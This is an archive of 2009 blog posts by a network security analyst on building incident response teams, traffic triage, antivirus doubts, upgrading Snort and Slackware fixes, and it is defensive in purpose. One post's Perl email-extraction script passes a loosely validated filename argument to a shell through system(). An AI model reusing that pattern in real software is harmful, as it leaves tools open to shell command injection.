The reason I pick those two wikis as examples is because they contain some of the exact type of information that is useful in a knowledge base for your CIRT. The main difference is that your knowledge will be specific to your organization. One good example are wiki entries for specific IDS rules as they pertain to your network, in other words an internal version of the Emerging Threats rule wiki. There may be shortcuts to take with regard to investigating specific rules or other network activity to quickly determine the nature of the traffic, and a wiki is a good place to keep that information.

Similarly, documentation on setting up a NSM device, tuning, or maintenance can be very effectively stored and edited on a wiki. The ease of collaboration with a wiki helps keep the documentation useful and up to date. If properly organized, someone could easily find information needed to keep the team running smoothly. Some example of documentation I have found useful when put it in a wiki:

How to troubleshoot common problems on a NSM sensor
How to build and configure a NSM sensor
How to update and tune IDS rules
List and overview of scripts available to assist incident response
Overviews of each available IR tool
More detailed descriptions and usage examples of IR tools
Example IR walk-throughs using previously resolved incidents
Links to external resources, e.g. blogs, wikis, manuals, and vendor sites

One of the best ways I can think of to effectively communicate the usefulness of both a knowledge base and a SOP to senior technical personnel is by pointing out that better documentation makes it less likely that you are needed for help. Additionally, it is much faster to resolve an issue for another analyst if you can do something like refer the analyst to step-by-step instructions in the knowledge base. If you want fewer calls during off hours, make sure the analysts have the documentation they need.

Shift Logs
In an environment with multiple shifts, it is important to keep shift logs of notable activity, incidents, and any other information that needs to be passed to other shifts. Although I will also discuss this in Building an IR Team: Communication, the usefulness of connecting the shifts with a dedicated log is apparent. Given the amount of email and incident tickets that are generated in an environment that requires 24x7 monitoring, having a shift log to quickly summarize important and ongoing event helps separate the wheat from the chaff.

Since my feeling is that shift logs should be terse and quick to parse, what to use for logging may not be crucial. The first examples that come to my mind are software designed for shift logs, forum software, or blogging software. The main features needed are individual accounts to show who is posting, timestamps, and an effective search feature. Anything else is a bonus, though it may depend on exactly what you want analysts logging and what is being used to handle incident tracking.

One thing that is quite useful with the shift log is a summary post at the end of each shift, and then the analysts should verbally go over the summary at the shift change. This can help make sure the most significant entries are not missed and it gives the chance for the oncoming shift to ask questions before the outgoing shift leaves for the day.

As usual, I can't cover everything on the topic, but my goal is to provide a reference and get the gears turning. The need for good documentation exists and documentation is important to use to the IR team's advantage.

The "Does it make sense?" test

2009-07-07T21:01:00.003-04:00

I was composing the next installment of my series on building an incident response team and started to include this, but then decided it deserves a separate entry.

Some time ago, my boss came up with what he calls the "Does it make sense?" test as a cheat-sheet for help training new analysts and to use as a quick reference. When we refer to traffic making sense, we are asking whether the traffic is normal for the network.

This is very simple and covers some of the quickest ways an analyst can investigate a possible incident. Consider it a way to triage possible NSM activity or incidents. Using something like this can easily eliminate a lot of unnecessary and time-consuming analysis, or point out when the extra analysis is needed.

The "does it make sense" test:

Determine the direction of the network traffic.
Determine the IP addresses involved.
Determine the locations of the systems (e.g. internal, external, VPN, whois, GeoIP).
Determine the functions of the systems involved (e.g. web server, mail server, workstation).
Determine protocols involved and whether they are "normal" protocols and ports that should be seen between the systems.
When applicable, look at the packet capture and compare it to the signature/rule.
Use historical queries on NSM systems and searches of documentation to determine past events that may be related to the current one.

Based on the above knowledge, does the traffic that caused the alert make sense or is it abnormal? Simple examples:

A file server sending huge amounts of SMTP traffic over port 25 probably does not make sense, whether because of malicious activity or a misconfiguration.
Someone connecting to a workstation on port 21 with FTP probably does not make sense.
A DNS server sending and receiving traffic to another DNS server over port 53 does make sense. However, an analysis of the alert and the DNS traffic may still be needed to verify whether the traffic is malicious or not.

Remember, traffic that makes sense and is normal on one network may not be normal on another network. Having a good baseline of your network traffic is extremely important before you can accurately determine what traffic makes sense and what traffic does not makes sense. Even traffic that does not make sense is not automatically malicious.

Also remember, traffic that makes sense is not always friendly. A good attacker will make his network traffic look like it fits in with the the baseline traffic, making the traffic less likely to stick out.

Exploiting the brain

2009-06-30T16:44:00.001-04:00

In some interesting science news, talking into a person's right ear is apparently a good idea if you want the person to be receptive to what you're saying.

If you want to get someone to do something, ask them in their right ear, say scientists.
Italian researchers found people were better at processing information when requests were made on that side in three separate tests.
They believe this is because the left side of the brain, which is known to be better at processing requests, deals with information from the right ear.

The article also states that what is heard through the right ear gets sent to "a slightly more amenable part of the brain." Even when you know about something like this, it is probably difficult or even impossible to consciously over-ride the differences between hearing something in the right ear versus the left ear.

Looking at this through a security mindset, a threat could be someone that knows how to exploit this behavior, and to reduce the vulnerability could require actively training yourself to overcome standard neuroscience. This type of knowledge can even be applied directly to something like a penetration test that includes social engineering in the rules of engagement.

Next time you ask for a raise, make sure you're to the right of your boss.

Building an IR Team: Organization

2009-06-25T05:02:00.003-04:00

This is my second post in a planned series. The first is called Building an IR Team: People.

How to organize an Computer Incident Response Team (CIRT) is a difficult and complex topic. Although there may be best practices or sensible guidelines, a lot will be dictated by the size of your team, the type and size of network environment, management, company policies and the abilities of analysts. I also believe that network security monitoring (NSM) and incident response (IR) are so intertwined that you really should talk about them and organize them together.

A few questions that come to mind when thinking of organization and hierarchy of the team:

Will you only be doing IR, or will you be responsible for additional security operations and security engineering?
What is the minimal amount of staffing you need to cover your hours of operation? What other coverage requirements do you have dictated by management, policies, or plain common sense?
How will the size of your team effect your hierarchy and organization?
Since being understaffed is the norm, how can you organize to improve efficiency without hurting the quality of work?
Can you train individuals or groups so you have redundancy in key job functions?
Referencing both physical and logical organization of the team, will they be centralized or distributed?
What is your budget? (Richard Bejtlich has had a number of posts about how much to spend on digital security, including one recently).

IR and other Security Operations
The first question really needs to be answered before you start answering all the rest. There are two basic models I have seen when organizing a response team. The simpler model is to have a response team that only performs incident response, often along with NSM or working directly with the NSM team. Even if the response team does not do the actual first tier NSM, the NSM team usually will function as a lower tier that escalates possible incidents to the IR team.

The more complex, but possibly more common, model is to have incident responders and NSM teams that also perform a number of other duties. I mentioned both security operations and security engineering in the bullet point. Examples of security operations and engineering could be penetration testing, vulnerability assessment, malware analysis, NSM sensor deployment, NSM sensor tuning, firewall change reviews or management, and more. The reason I say this model may be more common is the bottom line, money. It is also difficult to discretely define all these job duties without any overlap.

There are advantages and disadvantages to each model. For dedicated incident responders, advantages compared to the alternative include:

Specialization can promote higher levels of expertise.
Duties, obligations, procedures and priorities are clearer.
Documentation can probably be simplified.
IR may be more effective overall.

Disadvantages can include:

Money. If incident responders perform a narrow set of duties, you will probably need more total personnel to complete the same tasks.
Less flexibility with personnel.
Limiting duties exclusively to incident response may result in more burn-out. Although not a given, many people like the variety that comes with a wider range of duties.

Advantages of having incident responders also perform other security operations and engineering:

Money.
A better understanding of incident response can produce better engineering. A great example is tuning NSM sensors, where an engineer that does the tuning has a much better understanding of feedback and even sees the good and bad firsthand if the same person is also doing NSM or IR.
Similarly, other projects can promote a better understanding of the network, systems and security operations that may promote more efficient and accurate IR.

Disadvantages:

Conflicting priorities between IR and other projects.
More complex operating procedures.
Burn-out due to workload. (Yes, I listed burn-out as a disadvantage of both models).
Less specialization in IR will probably reduce effectiveness.

Staffing
Before deciding on the number of analysts you need for NSM and IR, you have to come to a decision on what hours you will maintain. This question is probably easier for smaller operations that don't have as much flexibility. If there is no budget for anything other than normal business hours, it is definitely easier to staff IR and security operations in general. Once you get to an enterprise or other organization that maintains some 24x7 presence, it starts getting stickier.

If you will have more than one shift, you will obviously have to decide the hours for each shift. It is important to build a slight overlap into the shifts so information can be passed from the shift that is ending to the shift that is starting. Both verbal and written communication, namely some kind of shift log, is important so any ongoing incidents, trends or other significant activity are not dropped. I will get into more detail when I write a future post, tentatively titled Building an IR Team: Communication and Documentation.

Organizing so each shift has the right people is significant. Obviously, the third shift will generally be seen as less desirable. Usually someone that is willing to work the third shift is trying to get into the digital security field, already has a day job, or is going to school. It is fine line between finding someone that will do a good job on the third shift but not immediately start looking for another job that has better hours, so you have to get a clear understanding of why people want to work the third shift and how long you expect them to stay on that shift. It can help to leave opportunities for third shift analysts to move to another shift since that can allow enough flexibility to keep the stand-outs rather than losing them to another job with more desirable hours.

I am not a big fan of rotating shifts. Though a lot of places seem to implement shifts by having everyone eventually rotate through each shift, I think it does not promote stability or employee satisfaction as much as each person having a dedicated shift.

Staffing can also be influenced by policy or outside factors. Businesses, government and military all will have certain information security requirements that must be met, and some of those requirements may influence your staffing levels or hours of operation.

Hierarchy
If you only have one or two analysts, you probably won't need to put much thought into your hierarchy. If you have a 24x7 operation with a number of analysts, you definitely need some sort of defined hierarchy and escalation procedures to define NSM and IR duties. Going back to the section on other security operations, you may also need to define how other duties fit into the hierarchy, procedures and priorities for analysts that handle NSM, IR, and/or additional duties.

At left is an example of an organizational chart when the IR Team also has other duties and operates in a 24x7 environment. In addition to rotating through NSM and IR duties, each analyst is a member of a team. This is just an example to show the thought process on hierarchy. There are certainly other operational security needs that I mentioned, may merit a dedicated team, but are not included in my example, for instance forensics or vulnerability assessment.

Each team has a senior analyst as the lead, and the senior analysts can also double as IR leads. It is crucial that every shift have a lead to define a hierarchy and prevent any misunderstandings about the chain of command and responsibilities.

For this example, let us say that your organizational requirements state two junior analysts per shift doing NSM and IR. You could create a schedule to rotate each junior analyst through the NSM/IR schedule, which means monitoring the security systems, answering the phone, responding to emails, investigating activity, and coordinating IR for the more basic incidents. You would also probably want one senior analyst designated as the lead for the day. The senior analyst can provide quality assurance, handle anything that needs to be escalated, do more in-depth IR, and task and coordinate the junior analysts. The senior analyst can also decide that the NSM and IR workloads require temporarily pulling people off their project or team tasks to bolster NSM or IR. Finally, it may be a good idea to have the senior analyst designated as the one coordinating and communicating with management.

While the senior analysts need to excel at both the technical duties and management, the shift leads need to facilitate communication between everyone on that particular shift, management, and other shifts. Though it is helpful if the shift lead is strong in a technical sense, I do not think the shift lead necessarily has to be the strongest technical person on the shift. He or she needs to be able to handle communication, escalation, delegation, and prioritization to keep both the shift members and management happy with each other. The shift lead is basically responsible for making sure the shift is happy and making sure the CIRT is getting what it needs from the shift.

The next diagram shows a group that is dedicated only to NSM and IR. Obviously, this model is much easier to organize and manage since the tasks are much narrower. Note that, even with this model where everyone is dedicated to NSM and IR without additional duties, proper NSM and IR may call for things like malware analysis, certainly forensics for IR, or giving feedback about the security systems' effectiveness to dedicated engineers.

As one last aside regarding the different models, I have to stress that vulnerability assessment and reporting is one of the biggest time sinks I have ever seen in a security operation. If you can only separate one task away from your NSM and IR team to another team, I strongly suggest it be vulnerability assessment. There are certainly a lot of arguments about how much or how little vulnerability assessment you should be doing in any organization, but most organizations do have requirements for it. As such, it is a good idea to have a separate vulnerability assessment team whenever possible because of the number of work-hours the process requires. Note that penetration testing is clearly distinct from vulnerability assessment, and requires a whole different type of person with a different set of skills.

Redundancy
Ideally, you want to minimize what some call "knowledge hoarding" on your team. If someone is excellent at a job, you need that person to share knowledge, not squirrel it away. Some think knowledge hoarding provides job security, but a good manager will recognize that an analyst that shares knowledge is much better than one that does not. From personal experience, I can also say that mentoring, training and sharing knowledge is a great way to reduce the number of calls you get during non-working hours. If I do not want to be bothered at home, I do my best to document and share everything I know so the knowledge is easily accessible even when I am not there.

Sharing knowledge provides redundancy and flexibility. That flexibility can also spread the workload more evenly when you have some people swamped with work and others underutilized. If someone is sick or too busy for a particular task, you do not want to be stuck with no redundancy. I suppose this is true of most jobs, but it can be a huge problem in IR. As an example, if a particular person is experienced at malware analysis and has automated the process without sharing the knowledge, someone else called on to do the work in a pinch will be much less efficient and may even try to manually perform tasks that have already been automated.

Certainly most groups of incident responders will have standouts that simply can't be replaced easily, but you should do your best to make sure every job function has redundancy and that every senior analyst has what you could call at least one understudy.

Distribution of Resources
If you are in a business that has multiple locations or it is a true enterprise, one thing to consider is the physical and logical distribution of your incident response team. Being physically located in one place can be helpful to communication and working relationships. Being geographically distributed can be more conducive to work schedules if the business spans many timezones. One thing that can greatly increase morale is providing as many tools as possible to do remote IR. Sending a team to the field for IR may be needed sometimes, but reducing the burden or even allowing work from home is a sure way to make your team happier.

Regardless, an IR team needs people in the field that can assist them when needed. Depending on the technical level of those field representatives, the duties may be as simple as unplugging a network cable or as advanced as starting initial data collection with a memory and disk capture. Most IR teams will need to have a good working relationship with support and networking personnel to help facilitate the proper response procedures.

I only touched on some of the possibilities for organizing both NSM and IR teams. As with anything, thought and planning will help make the organization more successful and efficient. The key is to reach a practical equilibrium given the resources you have to work with.

Extracting emails from archived Sguil transcripts

2009-05-09T17:38:00.004-04:00

Here is a Perl script I wrote to extract emails and attachments from archived Sguil transcripts. It's useful for grabbing suspicious attachments for analysis.

In Sguil, whenever you view a transcript it will archive the packet capture on the Sguil server. You can then easily use that packet capture to pull out data with tools like tcpxtract or tcpflow along with Perl's MIME::Parser in this case. The MIME::Parser code is modified from David Bianco's blog.

As always with Perl or other scripts, I welcome constructive feedback. The first regular expression is fairly long and may scroll off the page, so make sure you get it all if you copy it.

#!/usr/bin/perl

# by nr
#   2009-05-04
# A perl script to read tcpflow output files of SMTP traffic.
# Written to run against a pcap archived by Sguil after viewing the transcript.
#   2009-05-07
# Updated to use David Bianco's code with MIME::Parser.
# http://blog.vorant.com/2006/06/extracting-email-attachements-from.html

use strict;
use MIME::Parser;

my $fileName; # var for tcpflow output file that we need to read
my $outputDir = "/var/tmp"; # directory for email+attachments output

if (@ARGV != 1) {
    print "\nOnly one argument allowed. Usage:\n";
    die "./emailDecode.pl /path/archive/192.168.1.13\:62313_192.168.1.8\:25-6.raw\n\n";
}

$ARGV[0] =~ m
    /.+\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})_(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(25)-\d{1,3}\.raw/
    or die "\nIncorrect file name format or dst port is not equal to 25. Try again.\n\n";

system("tcpflow -r $ARGV[0]"); # run tcpflow w/argument for path to sguil pcap

my $srcPort = sprintf("%05d", $2); # pad srcPort with zeros
my $dstPort = sprintf("%05d", $4); # pad dstPort with zeros

# Put the octest and ports into array to manipulate into tcpflow fileName
my @octet = split(/\./, "$1\." . "$srcPort\." . "$3\." . "$dstPort");

foreach my $octet(@octet) {
    my $octetLength = length($octet); # get string length
    if ($octetLength < 5) { # if not a port number
        $octet = sprintf("%03d", $octet); # pad with zeros
    }
    $fileName = $fileName . "$octet\."; # concatenate into fileName
}

$fileName =~  s/(.+\d{5})\.(.+\d{5})\./$1-$2/; # replace middle dot with hyphen
my $unusedFile = "$2-$1"; # this is the other tcpflow output file

# open the file and put it in array
open INFILE, "<$fileName" or die "Unable to open $fileName $!\n";
my @email = <INFILE>;
close INFILE;

my $count = 0;
# skip extra data at beginning
foreach my $email(@email) {
    if ($email =~ m/^Received:/i) {
        last;
    }
    else {
        delete @email[$count];
        $count ++;
    }
}

my $parser = new MIME::Parser;
$parser->output_under("$outputDir");
my $entity = $parser->parse_data(\@email); # parse the tcpflow data
$entity->dump_skeleton; # be verbose when dumping

unlink($fileName, $unusedFile); # delete tcpflow output files

Do we need anti-virus software?

2009-05-07T21:44:00.010-04:00

My friend Richard has a good post about Verizon's 2009 Data Breach Report. One of his last comments really struck me since it is something I have seen firsthand again and again.

Most companies are probably relying on their anti-virus software to save them. This is too bad, because the explosion in customized malware means it probably won't.

Anti-virus software just does not work against most recent malware. The table from the Verizon report shows a drastic upswing in customized malware and my experience tells me that doesn't tell half the story. Even only small changes will often evade anti-virus software.

I'm not saying anything new here. Anyone that does penetration tests, reverse engineers malware, writes exploits, or is involved with information security in a number of ways already knows that anti-virus software is terrible at detecting new malware. I have even written about it before and pointed out that more subtle methods of exploitation aren't always necessary because of the effectiveness of commodity malware.

My question is, do we really need anti-virus software?

When you take into account the amount of resources spent running anti-virus in the enterprise, is it a good investment in risk reduction? We pay for hours worked to setup the anti-virus infrastructure, update, and troubleshoot. If you are in an enterprise, you're paying for the software, not using a free alternative. You're probably paying for support and also paying for hardware.

What does it get you? I find malware on a weekly basis, sometimes daily, that is not detected by the major vendors. I submit the malware to some of these vendors and places like VirusTotal, but the responses from anti-virus vendors are inconsistent at best. Even after definitions are updated, I'll then run across malware that is obviously just an altered version of the previous but is once again not detected.

I don't pretend to have the answers, but I do wonder if all the resources spent on anti-virus by a business, particularly large or enterprise businesses, might be better spent somewhere else. Is it really worth tens or hundreds of thousands of dollars in software, hours, and hardware to make sure old malware is detected? If not, how much is it worth? Does the occasional quick response to emerging malware make it more worthwhile? If you have enough influence on the vendor, does being able to contact them directly to help protect against a specific attack make it more valuable?

Anti-virus software is too ingrained in corporate culture to think it is realistic that companies will stop using it altogether, but we need to keep asking these types of questions.

Building an IR Team: People

2009-04-28T04:30:00.007-04:00

For some time I have been thinking about a series of posts about building an incident response team. I started in security as part of a very small Computer Incident Response Team (CIRT) that handled network security monitoring (NSM) and the ensuing security incidents. Although we were small, we had a very good core of people that helped us succeed and grow, probably well beyond anything we had imagined. We grew from a handful of people to four or five times our original size. While there were undoubtedly setbacks, we constantly got better and more efficient as the team grew.

As the first in this series, I definitely want to concentrate on people. I don't care what fancy tools, enormous budget, buy-in from management, or whatever else you have. If you don't have the right people, you'll have serious problems succeeding. Most of this is probably not unique to a response team, information security, or information technology.

Hiring
Of course, hiring is where it all starts. What do you look for in a candidate for an incident response team? Here are some of the things I look for.

Initiative: The last thing I want is someone that constantly needs hand-holding. Certainly people need help sometimes, and sharing knowledge and mentoring are huge, but you have to be able to work through the bumps and find solutions. A NSM operation or CIRT is not a help desk. Although you can have standard procedures, you have to be flexible, adapt, do a lot of research, and teach yourself whenever possible.
Drive: Most people who are successful in security seem to think of it as more than a job. They spend free time hacking away at tools, breaking things, fixing things, researching, reading, and more. I don't believe this kind of drive has to be all-consuming, because I certainly have plenty of outside interests. However, generally speaking there is plenty of time to be interested in information security outside of work while still having a life. I, and undoubtedly many successful security professionals, enjoy spending time reading, playing with new tools, and more. Finding this type of person is not actually difficult, but it can take some patience. Local security groups or mailing lists are examples of places to look for analysts to add to a team. Even if they have little work experience, by going to a group meeting or subscribing to mailing lists, they are already demonstrating some drive and initiative.
Communication skills: Although this may be more important for a senior analyst, being able to write and speak well is crucial. Knowing your audience is one of the most important skills. For instance, if you are writing a review of a recent incident that includes lessons learned, the end product will be different depending whether the review is for management or the incident responders on the team. Documentation, training, and reporting are other examples where good writing and speaking skills are important. I think good communication skills are underrated by many people in the field and IT in general, but the higher you look the better the chance you will find someone that realizes the importance of effective communication.
Background: Most of the successful NSM analysts and incident responders I know have a background in one or more of three core areas; networking, programming, or system administration. A person from each background will often have different strengths, so understanding the likely strengths of each background can go a long way toward filling a missing need on the team. You do not have to come from one of these backgrounds, it is just relatively common for the good analysts I know to have backgrounds in these areas.
The wrong candidate in the wrong position: Do not be scared to turn down people that are wrong for the job. That seems obvious, but it is worth emphasizing. Along the same lines, if someone is not working out, take steps to correct the problems if possible, but do not be afraid to get rid of a person that is not right for the job. Try to understand exactly what you are looking for and where in the organization the person is most likely to excel.

Experience versus Potential
When filling a senior position, experience is definitely important. However, when filling a junior position I think automatically giving a lot of weight to information security experience can be a mistake. The last thing I want to do is hire someone who has experience but is overly reliant on technology rather than critical thinking skills. I don't mean to denigrate or automatically discount junior analysts that have experience, I just mean that I'd rather have someone with a lot of potential that needs a little more training in the beginning than what some would call a "scope dope", someone whose experience is looking at IDS alerts and taking them at face value with little correlation or investigation. If you have both experience and potential, great!

Training
Information security covers a huge range of topics, requires a wide range of skills, and changes quickly. Good analysts will want training, and if you don't give it to them you will wind up with a bunch of people that don't care about increasing their knowledge and skills as the ones that do want to learn look for greener pastures.

There are many different types of training in addition to what most people think of first, which is usually formal classes. Senior analysts mentoring junior analysts can be one of the most useful types of training because it is very adaptable and can be very environment-specific. "Brown-bag" sessions where people get together over lunch and analyze a recent incident or learn how to more efficiently investigate incidents can also work well. Finally, when someone researches and learns new things on one's own or with coworkers as mentioned previously, that is also an excellent form of training. Load up a lab, attack it, and look at the traffic and resulting state of the systems.

Finally, do not forget about both undergraduate and graduate degrees. Though you may not consider them training, most people want to have the option open to either finish a degree or get an advanced degree in their off hours. There are a huge number of ways to provide training.

People versus Technology
Analysts are not the only ones that can overly rely on technology. Management will often take the stance that paying a bunch of money for tools and subscriptions means two things. One, that the systems must be what they need and will do all the work for them. Two, that the money means that the selling company has the systems optimally designed and configured for your environment. Just because you pay five or six digits for an IPS, IDS, anomaly detection, or forensics tools does not mean that you can presume a corresponding decrease in the amount you need to spend on people. Any tool is worthless without the right people using it.

Turnover, Retention, Mobility, and Having Fun
Creating and continuing a successful response team is to make sure the people you want to keep remain happy. There are a lot of things you need to retain the right people, including competitive pay, decent benefits, a chance for promotion, and a good work environment. Honestly, I think work environment is probably the most important factor. I know many analysts I have worked with receive offers of more money, but a good work environment has usually kept them from leaving. My boss has always said that the right environment is worth $X dollars to him, and I feel the same way. Effective and enjoyable coworkers, management that listens, and all the little things are not worth giving up without substantial reasons. Some opportunities are impossible to pass up, but having an enjoyable work environment and management that "gets it" goes a long way towards reducing turnover.

Bottom Line
I believe getting a good group assembled is the most important thing to have an effective response team. Obviously, I kept the focus of this post relatively broad. I would love to see comments with additional input. I hope to post additional material about building a response team in the near future, possibly covering organizing the team, dealing with growth, and a few other topics.

Upgrading to Snort 2.8.4

2009-04-10T05:18:00.004-04:00

Hopefully, everyone running Snort has been paying attention and noticed that Snort 2.8.4 was released on 07 April and the corresponding new rule sets were released on 08 April. If you pay for Snort rules, the new netbios.rules will not work with Snort versions prior to 2.8.4, so you need to upgrade.

Upgrading was mostly painless just to get Snort running, though the dcerpc2 preprocessor settings definitely may require tweaking beyond the defaults. Generally, when I'm upgrading and there is something like a new preprocessor, I will start by getting Snort upgraded and successfully running with the defaults for the preprocessor, then will tune the settings as needed after I'm sure the new version is working.

The first thing to do after downloading and extracting is read the RELEASENOTES and also any applicable READMEs. Since the dcerpc2 preprocessor is new, the README.dcerpc2 may be of particular interest. A lot of people don't realize how much documentation is included.

$ wget http://www.snort.org/dl/snort-2.8.4.tar.gz
$ tar xzf snort-2.8.4.tar.gz
$ cd snort-2.8.4/doc
$ ls
AUTHORS               README.alert_order            README.ppm
BUGS                  README.asn1                   README.sfportscan
CREDITS               README.csv                    README.ssh
INSTALL               README.database               README.ssl
Makefile.am           README.dcerpc                 README.stream5
Makefile.in           README.dcerpc2                README.tag
NEWS                  README.decode*                README.thresholding
PROBLEMS              README.decoder_preproc_rules  README.variables
README                README.dns                    README.wireless
README.ARUBA          README.event_queue            TODO
README.FLEXRESP       README.flowbits               USAGE
README.FLEXRESP2      README.frag3                  WISHLIST
README.INLINE         README.ftptelnet              faq.pdf
README.PLUGINS        README.gre                    faq.tex
README.PerfProfiling  README.http_inspect           generators
README.SMTP           README.ipip                   snort_manual.pdf
README.UNSOCK         README.ipv6                   snort_manual.tex
README.WIN32          README.pcap_readmode          snort_schema_v106.pdf

The following is the default configuration as listed in the README.dcerpc2.

preprocessor dcerpc2_server: default, policy WinXP, \
     detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \
     autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \
     smb_max_chain 3

For some environments, it may be useful to turn off the preprocessor alerts or turn them off for specific systems.

preprocessor dcerpc2: memcap 102400, events none

Or:

preprocessor dcerpc2_server: default, policy WinXP, \
     detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \
     autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \
     smb_max_chain 3
preprocessor dcerpc2_server: net $SCANNERS, detect none

No matter what, the dcerpc configuration should be removed from the snort.conf and replaced with a dcerpc2 configuration for Snort 2.8.4.

After that, I'll configure and install Snort.

$  ./configure --enable-dynamicplugin --enable-inline --enable-perfprofiling
$ make
$ sudo /etc/rc.d/rc.snort-inline stop
$ sudo make install
$ which snort
/usr/local/bin/snort
$ snort -V

      ,,_     -*> Snort! <*-
     o"  )~   Version 2.8.4 (Build 26) inline
      ''''    By Martin Roesch & The Snort Team: http://www.snort.org/team.html
              Copyright (C) 1998-2009 Sourcefire, Inc., et al.              
              Using PCRE version: 7.7 2008-05-07      

$ sudo /etc/rc.d/rc.snort-inline start    
Starting snort-inline    
Initializing Inline mode    
building cached socket reset packets

Although the old netbios.rules will still work with the new version, it's also time to update to the latest rules to take advantage of the smaller number of netbios.rules. Note that this only applies for subscription rules since the free ones won't reflect the changes for 30 days.

Some of the rules in the new netbios.rules file have SIDs that were unchanged, so I decided to re-enable any of those that I had previously disabled in my oinkmaster.conf. I can always disable them again, but with the new preprocessor and possible changes to the remaining SIDs, I decided it was best to reevaluate them.

Since I'm also using precompiled shared object rules, I also update from the ones compiled for 2.8.3.2 to the ones compiled for 2.8.4. I keep the rule stubs in a directory along with symlinks to the corresponding SO files, so I simply remove the symlink and recreate it to the new SO rules.

$ rm /etc/snort/so_rules/*so
$ ln -s /etc/snort/so_rules/precompiled/CentOS-5.0/i386/2.8.4/*so /etc/snort/so_rules/

Watching the watchers

2009-04-09T04:30:00.004-04:00

The Washington Post had an article on the Federal Page about falsified security clearance checks.

Half a dozen investigators conducting security-clearance checks for the federal government have been accused of lying in the reports they submitted to the Office of Personnel Management, which handles about 90 percent of the background inquiries for more than 100 agencies.
Federal authorities said they do not think that anyone who did not deserve a job or security clearance received one or that investigators intentionally helped people slip through the screening. Instead, law enforcement officials said, the investigators lied about interviews they never conducted because they were overworked, cutting corners, trying to impress their bosses or, in the case of one contractor, seeking to earn more money by racing through the checks.

This is not particularly surprising, especially when you consider that the article reports a 22 percent increase in security checks since 2006. Presumably, the personnel and budget allocations did not get a corresponding 22 percent increase. Even before 2006, there were plenty of reports about the backlog for security investigations. Factor in the increase in investigations and you have a situation ripe for abuse through shortcuts.

The problem shows the importance of management and quality assurance. Through the fairly simple process of sending follow-up questionnaires to 20 percent of those that were interviewed, OPM was able to identify falsified interviews and investigations. GAO also has determined that 90 percent of a sampling of reports were missing at least one required document. These seem like fairly easy and accurate ways to determine whether the investigations were being completed properly.

Fixing the problem is another matter, but you can't fix a problem until you've identified it. Prosecuting the responsible investigators, reviewing allocation of funds and personnel, and changing compensation structure are all just a few things that may help reduce the amount of fraud.

The personnel problem immediately jumps out when you see the numbers in the article, which lists 1380 staff investigators and 5400 contractors doing 2 million investigations last year. You have to assume that even the most basic clearance requires a minimum of a credit check, criminal background check, employment history check, and some type of interview. I don't know how 292 investigations per investigator per year could possibly be exhaustive enough to provide the needed information.

It also seems to demonstrate that the number of people requiring clearances is excessive, which is really a whole different discussion.

Slackware-current updates and Nvidia driver

2009-03-26T05:23:00.003-04:00

I recently updated a desktop running Slackware-current to the latest packages released up to 24-Mar-2009. There were a few minor issues. The first is that, if using slackpkg to upgrade, I had to upgrade the findutils package before everything else or slackpkg would no longer work properly.

# slackpkg update
# slackpkg upgrade findutils
# slackpkg upgrade-all

The second was that I couldn't install the Nvidia driver for the new 2.6.28.8 kernel package because it was failing.

ERROR: The 'cc' sanity check failed:

   The C compiler 'cc' does not appear able to
   create executables. Please make sure you have
   your Linux distribution's gcc and libc development
   packages installed.

It turns out that gcc-4.3.3 in slackware-current depends on mpfr.

# slackpkg info mpfr

PACKAGE NAME:  mpfr-2.3.1-i486-1.tgz
PACKAGE LOCATION:  ./slackware/l
PACKAGE SIZE (compressed):  348 K
PACKAGE SIZE (uncompressed):  930 K
PACKAGE DESCRIPTION:
mpfr: mpfr (Multiple-Precision Floating-Point Reliable Library)
mpfr:
mpfr: The MPFR library is a C library for multiple-precision floating-point
mpfr: computations with exact rounding (also called correct rounding).
mpfr: It is based on the GMP multiple-precision library.
mpfr: The main goal of MPFR is to provide a library for multiple-precision
mpfr: floating-point computation which is both efficient and has
mpfr: well-defined semantics.  It copies the good ideas from the
mpfr: ANSI/IEEE-754 standard for double-precision floating-point arithmetic
mpfr: (53-bit mantissa).
mpfr:

# slackpkg install mpfr

After installing mpfr, I was able to compile the Nvidia module for the running kernel.

Finally, kdeinit4 was failing with an error about loading the libstreamanalyzer.so.0 and libqimageblitz.so shared libraries. I fixed this by installing strigi and qimageblitz.

# slackpkg info strigi

PACKAGE NAME:  strigi-0.6.3-i486-1.tgz
PACKAGE LOCATION:  ./slackware/l
PACKAGE SIZE (compressed):  904 K
PACKAGE SIZE (uncompressed):  2570 K
PACKAGE DESCRIPTION:
strigi: strigi (fast and light desktop search engine)
strigi:
strigi: Strigi is a fast and light desktop search engine.  It can handle a
strigi: large range of file formats such as emails, office documents, media
strigi: files, and file archives.  It can index files that are embedded in
strigi: other files.  This means email attachments and files in zip files
strigi: are searchable as if they were normal files on your harddisk.
strigi:
strigi: Homepage:  http://strigi.sourceforge.net/
strigi:

# slackpkg info qimageblitz

PACKAGE NAME:  qimageblitz-r900905-i486-1.tgz
PACKAGE LOCATION:  ./slackware/l
PACKAGE SIZE (compressed):  82 K
PACKAGE SIZE (uncompressed):  240 K
PACKAGE DESCRIPTION:
qimageblitz: QImageBlitz (Graphical effect and filter library for KDE4)
qimageblitz:
qimageblitz: Blitz is a graphical effect and filter library for KDE4.0 that
qimageblitz: contains many improvements over KDE 3.x's kdefx library
qimageblitz: including bugfixes, memory and speed improvements, and MMX/SSE
qimageblitz: support.
qimageblitz:

# slackpkg install strigi qimageblitz

After those minor issues, I had KDE4 up and running with the latest Nvidia driver.

Snort 2.8.4 has a new DCE/RPC preprocessor

2009-02-12T04:01:00.002-05:00

According to the VRT blog, Snort 2.8.4 is going to have a new DCE/RPC 2 preprocessor. The README.dcerpc2 was not included in the first release candidate for 2.8.4, but a follow-up on the snort-users list included it. The README covers a lot of information, and is definitely useful to understand the changes and configuration options.

These changes look to be an improvement, but they also have the potential to cause a lot of work and heartache in the short term for Emerging Threats and Snort users. From the VRT blog:

This preprocessor handles all the decoding functions that were previously taken care of using rules and flowbits in a lot of those rules. The upshot is that the number of netbios rules released for any vulnerability that can be exploited over dcerpc is going to be reduced greatly. The number of netbios rules previously released is also going to be reduced in a similar manner.

The downside is that this functionality is only available in Snort 2.8.4 with the dcerpc2 preprocessor. There is no backwards compatibility. Also, a number of netbios rules will be deleted and replaced.

